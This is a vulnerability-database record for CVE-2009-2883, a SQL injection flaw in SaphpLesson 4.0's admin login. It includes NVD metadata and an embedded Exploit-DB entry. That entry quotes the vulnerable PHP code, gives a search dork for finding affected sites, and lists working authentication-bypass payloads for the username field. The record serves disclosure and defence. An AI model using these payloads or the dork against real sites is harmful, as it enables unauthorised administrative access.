{"id": "CVE-2009-2883", "bulletinFamily": "NVD", "title": "CVE-2009-2883", "description": "SQL injection vulnerability in admin/login.php in SaphpLesson 4.0, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the cp_username parameter, related to an error in the CleanVar function in includes/functions.php.", "published": "2009-08-20T13:30:09", "modified": "2017-09-18T21:29:20", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-2883", "reporter": "NVD", "references": ["http://www.exploit-db.com/exploits/9248", "http://www.securityfocus.com/bid/35795", "https://exchange.xforce.ibmcloud.com/vulnerabilities/51983"], "cvelist": ["CVE-2009-2883"], "type": "cve", "lastseen": "2017-09-19T13:36:36", "history": [{"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:arabless:saphplesson:4.0"], "cvelist": ["CVE-2009-2883"], "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "SQL injection vulnerability in admin/login.php in SaphpLesson 4.0, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the cp_username parameter, related to an error in the CleanVar function in includes/functions.php.", "edition": 2, "enchantments": {}, "hash": "e66678f209aca15556ca416c0358dd908367ef070fbce98a5108fd27ae999f08", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "4f851308971c010b3dc708190fa0c009", "key": "title"}, {"hash": "df7a5b040ff2105046bffa511dc52b00", "key": "cpe"}, {"hash": "22fb65ae4084b7926592d83072234d0d", "key": "modified"}, {"hash": "c78d6ea29a55b0149013db136fd29528", "key": "description"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "6f3d1f088e2d0ee0a92a3dab58270161", "key": "references"}, {"hash": "d239f1e88c8bacc62d7d80ebf72df96d", "key": "cvelist"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "e5089dbc44d6df678c895d8c5a4de035", "key": "href"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "737e2591b537c46d1ca7ce6f0cea5cb9", "key": "cvss"}, {"hash": "9fc152b429ca7e93bacb990c4b735775", "key": "published"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-2883", "id": "CVE-2009-2883", "lastseen": "2017-08-17T11:14:26", "modified": "2017-08-16T21:30:56", "objectVersion": "1.3", "published": "2009-08-20T13:30:09", "references": ["http://www.securityfocus.com/bid/35795", "http://www.milw0rm.com/exploits/9248", "https://exchange.xforce.ibmcloud.com/vulnerabilities/51983"], "reporter": "NVD", "scanner": [], "title": "CVE-2009-2883", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 2, "lastseen": "2017-08-17T11:14:26"}, {"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:arabless:saphplesson:4.0"], "cvelist": ["CVE-2009-2883"], "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "SQL injection vulnerability in admin/login.php in SaphpLesson 4.0, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the cp_username parameter, related to an error in the CleanVar function in includes/functions.php.", "edition": 1, "enchantments": {}, "hash": "37f075eeafb11a7b4198aa29c0604d6a10784d7c387f66d3cfeb37c369fe6463", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "4f851308971c010b3dc708190fa0c009", "key": "title"}, {"hash": "df7a5b040ff2105046bffa511dc52b00", "key": "cpe"}, {"hash": "c78d6ea29a55b0149013db136fd29528", "key": "description"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "d239f1e88c8bacc62d7d80ebf72df96d", "key": "cvelist"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "e5089dbc44d6df678c895d8c5a4de035", "key": "href"}, {"hash": "73363f0e5360d5d2ba55bcb7b2bb144e", "key": "modified"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "737e2591b537c46d1ca7ce6f0cea5cb9", "key": "cvss"}, {"hash": "9fc152b429ca7e93bacb990c4b735775", "key": "published"}, {"hash": "9e715fdcb21dcc49a37d03c82f676c6b", "key": "references"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-2883", "id": "CVE-2009-2883", "lastseen": "2016-09-03T12:44:39", "modified": "2009-08-21T00:00:00", "objectVersion": "1.2", "published": "2009-08-20T13:30:09", "references": ["http://www.securityfocus.com/bid/35795", "http://xforce.iss.net/xforce/xfdb/51983", "http://www.milw0rm.com/exploits/9248"], "reporter": "NVD", "scanner": [], "title": "CVE-2009-2883", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 1, "lastseen": "2016-09-03T12:44:39"}], "edition": 3, "hashmap": [{"key": "assessment", "hash": "6d3f4796275bb54c21a33b82f399cc6d"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "df7a5b040ff2105046bffa511dc52b00"}, {"key": "cvelist", "hash": "d239f1e88c8bacc62d7d80ebf72df96d"}, {"key": "cvss", "hash": "737e2591b537c46d1ca7ce6f0cea5cb9"}, {"key": "description", "hash": "c78d6ea29a55b0149013db136fd29528"}, {"key": "href", "hash": "e5089dbc44d6df678c895d8c5a4de035"}, {"key": "modified", "hash": "1e9eb6e43fbf63894f5f27bd5deda0a3"}, {"key": "published", "hash": "9fc152b429ca7e93bacb990c4b735775"}, {"key": "references", "hash": "9358b873ec8134c984102eb4e1ce0aec"}, {"key": "reporter", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "scanner", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "title", "hash": "4f851308971c010b3dc708190fa0c009"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "9be66d1521d29e54200b4a70b41e60d7e8020fd6b92582447011db88212def29", "viewCount": 0, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2017-09-19T13:36:36"}, "dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:9248"]}], "modified": "2017-09-19T13:36:36"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "cpe": ["cpe:/a:arabless:saphplesson:4.0"], "assessment": {"href": "", "name": "", "system": ""}, "scanner": []}

{"exploitdb": [{"lastseen": "2016-02-01T10:11:07", "bulletinFamily": "exploit", "description": "SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability. CVE-2009-2883. Webapps exploit for php platform", "modified": "2009-07-24T00:00:00", "published": "2009-07-24T00:00:00", "id": "EDB-ID:9248", "href": "https://www.exploit-db.com/exploits/9248/", "type": "exploitdb", "title": "SaphpLesson 4.0 - Auth Bypass SQL Injection Vulnerability", "sourceData": "---------------------------------SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability---------------------------------------\r\n # \r\n # #### # ### ## ### #### #### ### ##### #### #### ### # ### #### ######\r\n ## # # ## # # # # # # # # # # # # # # # # # # # ## # # # # # #\r\n # # # # # # # # # # # # # # # # # # # # # # # # # \r\n # # ### # # ### # # ## ### ### # # # # ### ## # # # ### # \r\n #### # # #### # # ###### # # # # # # # # # # # # # # # \r\n # # # # # # # # # # # # # # ## # # # # # # # ## # # \r\n## ##### ## ###### ### ### #### ### # # ### #### #### ### # ### # #### ### \r\n\r\n\r\n#----------------------------------------------------------------------------------------------------------------\r\nScript : SaphpLesson\r\nversion : 4.0\r\nLanguage: PHP\r\nSite: http://www.saphplesson.org\r\nDownload: http://www.saphplesson.org/saphplesson.zip\r\nDork: intext:Powered by SaphpLesson 4.0\r\nFound by: SwEET-DeViL\r\n\r\nneed magic_quotes_gpc = Off\r\n\r\n#----------------------------------------------------------------------------------------------------------------\r\n\r\n)=> admin/login.php\r\n.................................................................................................................\r\nif ($_SERVER[\"REQUEST_METHOD\"]==\"POST\"){\r\n $username = CleanVar($_POST[\"cp_username\"]); <======================================{\r\n $password = md5(CleanVar($_POST[\"cp_password\"]));\r\n $IsLogin = $db->get_var(\"select count(*) from modretor Where ModName='\".$username.\"' and ModPassword='\".$password.\"'\");\r\n\r\n.................................................................................................................\r\n\r\nfunction of insecure !!\r\n\r\n)-)=> includes/functions.php\r\n---------------------------------------\r\n.[106] function CleanVar($var)\r\n.[107] {\r\n.[108] (get_magic_quotes_gpc() === 0) ? $var : addslashes($var);\r\n.[109]\r\n.[110] return htmlspecialchars(trim($var));\r\n.[111] }\r\n---------------------------------------\r\n\r\n#Exploit:\r\n\r\nusername : 'or 1=1/*\r\nOR \r\nusername : 'or 1=1 or '\r\nOR \r\nusername : admin ' or ' 1=1--\r\n....\r\n\r\npassword: SwEET-DeViL\r\n\r\n---------------------------------------\r\n\r\n\r\n/-------------www.arab4services.net-----------------\\\r\n|+------------------------------------------------+ |\r\n|| SwEET-DeViL & viP HaCkEr | |\r\n|| gamr-14(at)hotmail.com | |\r\n|+------------------------------------------------+ |\r\n\\---------------------------------------------------/\r\n\r\n# milw0rm.com [2009-07-24]\r\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/9248/"}]}